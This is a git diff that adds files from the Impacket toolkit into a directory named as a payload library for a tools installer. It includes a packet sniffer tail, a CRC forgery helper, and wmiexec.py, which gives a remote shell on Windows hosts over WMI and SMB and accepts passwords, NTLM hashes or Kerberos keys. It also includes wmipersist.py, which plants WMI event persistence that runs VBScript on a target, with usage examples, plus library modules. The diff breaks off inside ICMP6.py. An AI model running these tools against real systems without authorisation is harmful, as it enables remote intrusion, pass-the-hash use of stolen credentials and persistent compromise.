self.pc.onSelection(self.newSelection) + + self.interface = interface + self.filter = filter + + def timerDraw(self,event = None): + self.pc.draw() + self.tk.after(REFRESH_PERIOD, self.timerDraw); + + def start(self): + self.p = open_live(self.interface, 1600, 0, 100) +## self.p.setnonblock(1) + if self.filter: + self.p.setfilter(self.filter) + + # Query the type of the link and instantiate a decoder accordingly. + datalink = self.p.datalink() + if pcapy.DLT_EN10MB == datalink: + self.decoder = EthDecoder() + elif pcapy.DLT_LINUX_SLL == datalink: + self.decoder = LinuxSLLDecoder() + else: + raise Exception("Datalink type not supported: " % datalink) + + self.tk.after(POLL_PERIOD, self.poll) + self.tk.after(REFRESH_PERIOD, self.timerDraw); + self.tk.bind('q',self.quit) + self.tk.mainloop() + + def quit(self,event): + self.tk.quit() + + def poll(self,event = None): + self.tk.after(POLL_PERIOD, self.poll) + received = 0 + while 1: + try: + hdr, data = self.p.next() + except PcapError, e: + break + self.newPacket(hdr.getcaplen(), data, hdr.getts()[0]) + received = 1 + if received and fast_draws: + self.pc.draw() + + def newPacket(self, len, data, timestamp): + try: + p = self.decoder.decode(data) + except Exception, e: + pass + value = {} + try: + value['timestamp']=timestamp + value['shost']=p.child().get_ip_src() + value['dhost']=p.child().get_ip_dst() + value['proto']=p.child().child().protocol + value['sport']=-1 + value['dport']=-1 + except: + return + + try: + if value['proto'] == socket.IPPROTO_TCP: + value['dport']=p.child().child().get_th_dport() + value['sport']=p.child().child().get_th_sport() + elif value['proto'] == socket.IPPROTO_UDP: + value['dport']=p.child().child().get_uh_dport() + value['sport']=p.child().child().get_uh_sport() + except: + pass + + self.pc.addValue(value) + + def setStatus(self,status): + self.status.configure(text = status) + + def newSelection(self, selection): + if selection: + self.setStatus('%s:%s' % (selection[0].name, selection[1])) + else: + self.setStatus('') + +def getInterfaces(): + # Grab a list of interfaces that pcap is able to listen on. + # The current user will be able to listen from all returned interfaces, + # using open_live to open them. + ifs = findalldevs() + + # No interfaces available, abort. + if 0 == len(ifs): + return "You don't have enough permissions to open any interface on this system." + + return ifs + +def printUsage(): + print """Usage: %s [interface [filter]] +Interface is the name of a local network interface, see the list of available interfaces below. +Filter is a BPF filter, as described in tcpdump(3)'s man page. + +Available interfaces for this user: %s +""" % (sys.argv[0], getInterfaces()) + +def main(): + if len(sys.argv) == 1: + printUsage() + graph = Tracer() + elif len(sys.argv) == 2: + graph = Tracer(sys.argv[1]) + elif len(sys.argv) == 3: + graph = Tracer(sys.argv[1],sys.argv[2]) + else: + printUsage() + sys.exit(1) + graph.start() + +main() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/uncrc32.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/uncrc32.py new file mode 100644 index 0000000..3e7c1e9 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/uncrc32.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python +# based on: +# +# Reversing CRC - Theory and Practice. +# HU Berlin Public Report +# SAR-PR-2006-05 +# May 2006 +# Authors: +# Martin Stigge, Henryk Plotz, Wolf Muller, Jens-Peter Redlich + +FINALXOR = 0xffffffffL +INITXOR = 0xffffffffL +CRCPOLY = 0xEDB88320L +CRCINV = 0x5B358FD3L + +from binascii import crc32 +from struct import pack + +def tableAt(byte): + return crc32(chr(byte ^ 0xff)) & 0xffffffff ^ FINALXOR ^ (INITXOR >> 8) + +def compensate(buf, wanted): + wanted ^= FINALXOR + + newBits = 0 + for i in range(32): + if newBits & 1: + newBits >>= 1 + newBits ^= CRCPOLY + else: + newBits >>= 1 + + if wanted & 1: + newBits ^= CRCINV + + wanted >>= 1 + + newBits ^= crc32(buf) ^ FINALXOR + return pack(' 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + dst_path = string.replace(dst_path, '/','\\') + import ntpath + pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file) + drive, tail = ntpath.splitdrive(pathname) + logging.info("Uploading %s to %s" % (src_file, pathname)) + self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) + fh.close() + except Exception, e: + logging.critical(str(e)) + pass + + def do_exit(self, s): + return True + + def emptyline(self): + return False + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print self.__outputBuffer.decode(CODEC) + self.__outputBuffer = '' + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding))) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n').decode(CODEC) + self.prompt = unicode(self.__pwd + '>').encode(sys.stdout.encoding) + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong + print self.__outputBuffer.decode(CODEC) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = unicode(self.__pwd + '>').encode(sys.stdout.encoding) + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + self.__outputBuffer += data + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile(self.__share, self.__output, output_callback) + break + except Exception, e: + if str(e).find('STATUS_SHARING_VIOLATION') >=0: + # Output not finished, let's wait + time.sleep(1) + pass + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting + logging.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = self.__shell + data + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None) + self.get_output() + + def send_data(self, data): + try: + self.execute_remote(data) + print self.__outputBuffer.decode(CODEC) + except UnicodeDecodeError, e: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + print self.__outputBuffer + self.__outputBuffer = '' + +class AuthFileSyntaxError(Exception): + + '''raised by load_smbclient_auth_file if it encounters a syntax error + while loading the smbclient-style authentication file.''' + + def __init__(self, path, lineno, reason): + self.path=path + self.lineno=lineno + self.reason=reason + + def __str__(self): + return 'Syntax error in auth file %s line %d: %s' % ( + self.path, self.lineno, self.reason ) + +def load_smbclient_auth_file(path): + + '''Load credentials from an smbclient-style authentication file (used by + smbclient, mount.cifs and others). returns (domain, username, password) + or raises AuthFileSyntaxError or any I/O exceptions.''' + + lineno=0 + domain=None + username=None + password=None + for line in open(path): + lineno+=1 + + line = line.strip() + + if line.startswith('#') or line=='': + continue + + parts = line.split('=',1) + if len(parts) != 2: + raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') + + (k,v) = (parts[0].strip(), parts[1].strip()) + + if k=='username': + username=v + elif k=='password': + password=v + elif k=='domain': + domain=v + else: + raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) + + return (domain, username, password) + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows " + "Management Instrumentation.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from ' + '(default ADMIN$)') + parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output ' + '(no SMB connection created)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + + parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will ' + 'launch a semi-interactive shell') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " + "See smbclient man page's -A option.") + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.codec is not None: + CODEC = options.codec + + if ' '.join(options.command) == ' ' and options.nooutput is True: + logging.error("-nooutput switch and interactive shell not supported") + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + try: + if options.A is not None: + (domain, username, password) = load_smbclient_auth_file(options.A) + logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, + options.share, options.nooutput, options.k, options.dc_ip) + executer.run(address) + except (Exception, KeyboardInterrupt), e: + #import traceback + #print traceback.print_exc() + logging.error(str(e)) + sys.exit(0) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/wmipersist.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/wmipersist.py new file mode 100644 index 0000000..c15e628 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/wmipersist.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# This script creates/removes a WMI Event Consumer/Filter and link +# between both to execute Visual Basic based on the WQL filter +# or timer specified. +# +# Author: +# beto (@agsolino) +# +# Example: +# +# write a file toexec.vbs the following: +# Dim objFS, objFile +# Set objFS = CreateObject("Scripting.FileSystemObject") +# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) +# objFile.WriteLine "Hey There!" +# objFile.Close +# +# +# then excute this script this way, VBS will be triggered once +# somebody opens calc.exe: +# +# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC +# -vbs toexec.vbs +# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance +# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' +# +# or, if you just want to execute the VBS every XXX milliseconds: +# +# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC +# -vbs toexec.vbs -timer XXX +# +# to remove the event: +# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC +# +# if you don't specify the password, it will be asked by the script. +# domain is optional. +# +# Reference for: +# DCOM/WMI + +import sys +import argparse +import logging + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dtypes import NULL + + +class WMIPERSISTENCE: + def __init__(self, username = '', password = '', domain = '', options= None): + self.__username = username + self.__password = password + self.__domain = domain + self.__options = options + self.__lmhash = '' + self.__nthash = '' + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + @staticmethod + def checkError(banner, resp): + if resp.GetCallStatus(0) != 0: + logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0))) + else: + logging.info('%s - OK' % banner) + + def run(self, addr): + dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) + + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) + iWbemLevel1Login.RemRelease() + + if self.__options.action.upper() == 'REMOVE': + self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, + iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) + + self.checkError('Removing EventFilter EF_%s' % self.__options.name, + iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) + + self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, + iWbemServices.DeleteInstance( + '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) + + self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, + iWbemServices.DeleteInstance( + r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' + r'Filter="__EventFilter.Name=\"EF_%s\""' % ( + self.__options.name, self.__options.name))) + else: + activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer') + activeScript = activeScript.SpawnInstance() + activeScript.Name = self.__options.name + activeScript.ScriptingEngine = 'VBScript' + activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + activeScript.ScriptText = options.vbs.read() + self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, + iWbemServices.PutInstance(activeScript.marshalMe())) + + if options.filter is not None: + eventFilter,_ = iWbemServices.GetObject('__EventFilter') + eventFilter = eventFilter.SpawnInstance() + eventFilter.Name = 'EF_%s' % self.__options.name + eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + eventFilter.Query = options.filter + eventFilter.QueryLanguage = 'WQL' + eventFilter.EventNamespace = r'root\cimv2' + self.checkError('Adding EventFilter EF_%s'% self.__options.name, + iWbemServices.PutInstance(eventFilter.marshalMe())) + + else: + wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') + wmiTimer = wmiTimer.SpawnInstance() + wmiTimer.TimerId = 'TI_%s' % self.__options.name + wmiTimer.IntervalBetweenEvents = int(self.__options.timer) + #wmiTimer.SkipIfPassed = False + self.checkError('Adding IntervalTimerInstruction', + iWbemServices.PutInstance(wmiTimer.marshalMe())) + + eventFilter,_ = iWbemServices.GetObject('__EventFilter') + eventFilter = eventFilter.SpawnInstance() + eventFilter.Name = 'EF_%s' % self.__options.name + eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name + eventFilter.QueryLanguage = 'WQL' + eventFilter.EventNamespace = r'root\subscription' + self.checkError('Adding EventFilter EF_%s'% self.__options.name, + iWbemServices.PutInstance(eventFilter.marshalMe())) + + filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding') + filterBinding = filterBinding.SpawnInstance() + filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name + filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name + filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + + self.checkError('Adding FilterToConsumerBinding', + iWbemServices.PutInstance(filterBinding.marshalMe())) + + dcom.disconnect() + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and " + "link between both to execute Visual Basic based on the WQL filter or timer specified.") + + parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A start command + install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter') + install_parser.add_argument('-name', action='store', required=True, help='event name') + install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the ' + 'script you want to run') + install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger' + ' the script') + install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the' + ' script will be triggered') + + # A stop command + remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter') + remove_parser.add_argument('-name', action='store', required=True, help='event name') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + + if options.action.upper() == 'INSTALL': + if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None): + logging.error("You have to either specify -filter or -timer (and not both)") + sys.exit(1) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + try: + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + executer = WMIPERSISTENCE(username, password, domain, options) + executer.run(address) + except (Exception, KeyboardInterrupt), e: + #import traceback + #print traceback.print_exc() + logging.error(e) + sys.exit(0) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/wmiquery.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/wmiquery.py new file mode 100644 index 0000000..9984344 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/wmiquery.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: [MS-WMI] example. It allows to issue WQL queries and +# get description of the objects. +# +# e.g.: select name from win32_account +# e.g.: describe win32_process +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCOM +# +import argparse +import sys +import os +import logging + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE + +if __name__ == '__main__': + import cmd + + class WMIQUERY(cmd.Cmd): + def __init__(self, iWbemServices): + cmd.Cmd.__init__(self) + self.iWbemServices = iWbemServices + self.prompt = 'WQL> ' + self.intro = '[!] Press help for extra shell commands' + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + describe {class} - describes class + ! {cmd} - executes a local shell cmd + """ + + def do_shell(self, s): + os.system(s) + + def do_describe(self, sClass): + sClass = sClass.strip('\n') + if sClass[-1:] == ';': + sClass = sClass[:-1] + try: + iObject, _ = self.iWbemServices.GetObject(sClass) + iObject.printInformation() + iObject.RemRelease() + except Exception, e: + #import traceback + #print traceback.print_exc() + logging.error(str(e)) + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + os.chdir(s) + + def printReply(self, iEnum): + printHeader = True + while True: + try: + pEnum = iEnum.Next(0xffffffff,1)[0] + record = pEnum.getProperties() + if printHeader is True: + print '|', + for col in record: + print '%s |' % col, + print + printHeader = False + print '|', + for key in record: + print '%s |' % record[key]['value'], + print + except Exception, e: + #import traceback + #print traceback.print_exc() + if str(e).find('S_FALSE') < 0: + raise + else: + break + iEnum.RemRelease() + + def default(self, line): + line = line.strip('\n') + if line[-1:] == ';': + line = line[:-1] + try: + iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n')) + self.printReply(iEnumWbemClassObject) + iEnumWbemClassObject.RemRelease() + except Exception, e: + logging.error(str(e)) + + def emptyline(self): + pass + + def do_exit(self, line): + return True + + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions " + "using Windows Management Instrumentation.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', + help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy ' + '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require ' + 'privacy level by default)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + try: + dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, + doKerberos=options.k, kdcHost=options.dc_ip) + + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) + if options.rpc_auth_level == 'privacy': + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + elif options.rpc_auth_level == 'integrity': + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + + iWbemLevel1Login.RemRelease() + + shell = WMIQUERY(iWbemServices) + if options.file is None: + shell.cmdloop() + else: + for line in options.file.readlines(): + print "WQL> %s" % line, + shell.onecmd(line) + + iWbemServices.RemRelease() + dcom.disconnect() + except Exception, e: + logging.error(str(e)) + try: + dcom.disconnect() + except: + pass + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/Dot11Crypto.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/Dot11Crypto.py new file mode 100644 index 0000000..2074986 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/Dot11Crypto.py @@ -0,0 +1,34 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# IEEE 802.11 Network packet codecs. +# +# Author: +# Gustavo Moreira + +class RC4(): + def __init__(self, key): + j = 0 + self.state = range(256) + for i in range(256): + j = (j + self.state[i] + ord(key[i % len(key)])) & 0xff + self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) + + def encrypt(self, data): + i = j = 0 + out='' + for char in data: + i = (i+1) & 0xff + j = (j+self.state[i]) & 0xff + self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) + out+=chr(ord(char) ^ self.state[(self.state[i] + self.state[j]) & 0xff]) + + return out + + def decrypt(self, data): + # It's symmetric + return self.encrypt(data) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/Dot11KeyManager.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/Dot11KeyManager.py new file mode 100644 index 0000000..f8eded1 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/Dot11KeyManager.py @@ -0,0 +1,54 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# IEEE 802.11 Network packet codecs. +# +# Author: +# Gustavo Moreira + +from array import array +class KeyManager: + def __init__(self): + self.keys = {} + + def __get_bssid_hasheable_type(self, bssid): + # List is an unhashable type + if not isinstance(bssid, (list,tuple,array)): + raise Exception('BSSID datatype must be a tuple, list or array') + return tuple(bssid) + + def add_key(self, bssid, key): + bssid=self.__get_bssid_hasheable_type(bssid) + if not bssid in self.keys: + self.keys[bssid] = key + return True + else: + return False + + def replace_key(self, bssid, key): + bssid=self.__get_bssid_hasheable_type(bssid) + self.keys[bssid] = key + + return True + + def get_key(self, bssid): + bssid=self.__get_bssid_hasheable_type(bssid) + if self.keys.has_key(bssid): + return self.keys[bssid] + else: + return False + + def delete_key(self, bssid): + bssid=self.__get_bssid_hasheable_type(bssid) + if not isinstance(bssid, list): + raise Exception('BSSID datatype must be a list') + + if self.keys.has_key(bssid): + del self.keys[bssid] + return True + + return False diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/ICMP6.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/ICMP6.py new file mode 100644 index 0000000..3b91af7 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/ICMP6.py @@ -0,0 +1,527 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array +import struct + +from ImpactPacket import Header, Data +from IP6_Address import IP6_Address + + +class ICMP6(Header): + #IP Protocol number for ICMP6 + IP_PROTOCOL_NUMBER = 58 + protocol = IP_PROTOCOL_NUMBER #ImpactDecoder uses the constant "protocol" as the IP Protocol Number + + #Size of ICMP6 header (excluding payload) + HEADER_SIZE = 4 + + #ICMP6 Message Type numbers + DESTINATION_UNREACHABLE = 1 + PACKET_TOO_BIG = 2 + TIME_EXCEEDED = 3 + PARAMETER_PROBLEM = 4 + ECHO_REQUEST = 128 + ECHO_REPLY = 129 + ROUTER_SOLICITATION = 133 + ROUTER_ADVERTISEMENT = 134 + NEIGHBOR_SOLICITATION = 135 + NEIGHBOR_ADVERTISEMENT = 136 + REDIRECT_MESSAGE = 137 + NODE_INFORMATION_QUERY = 139 + NODE_INFORMATION_REPLY = 140 + + #Destination Unreachable codes + NO_ROUTE_TO_DESTINATION = 0 + ADMINISTRATIVELY_PROHIBITED = 1 + BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2 + ADDRESS_UNREACHABLE = 3 + PORT_UNREACHABLE = 4 + SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5 + REJECT_ROUTE_TO_DESTINATION = 6 + + #Time Exceeded codes + HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0 + FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1 + + #Parameter problem codes + ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0 + UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1 + UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2 + + #Node Information codes + NODE_INFORMATION_QUERY_IPV6 = 0 + NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1 + NODE_INFORMATION_QUERY_IPV4 = 2 + NODE_INFORMATION_REPLY_SUCCESS = 0 + NODE_INFORMATION_REPLY_REFUSED = 1 + NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2 + + #Node Information qtypes + 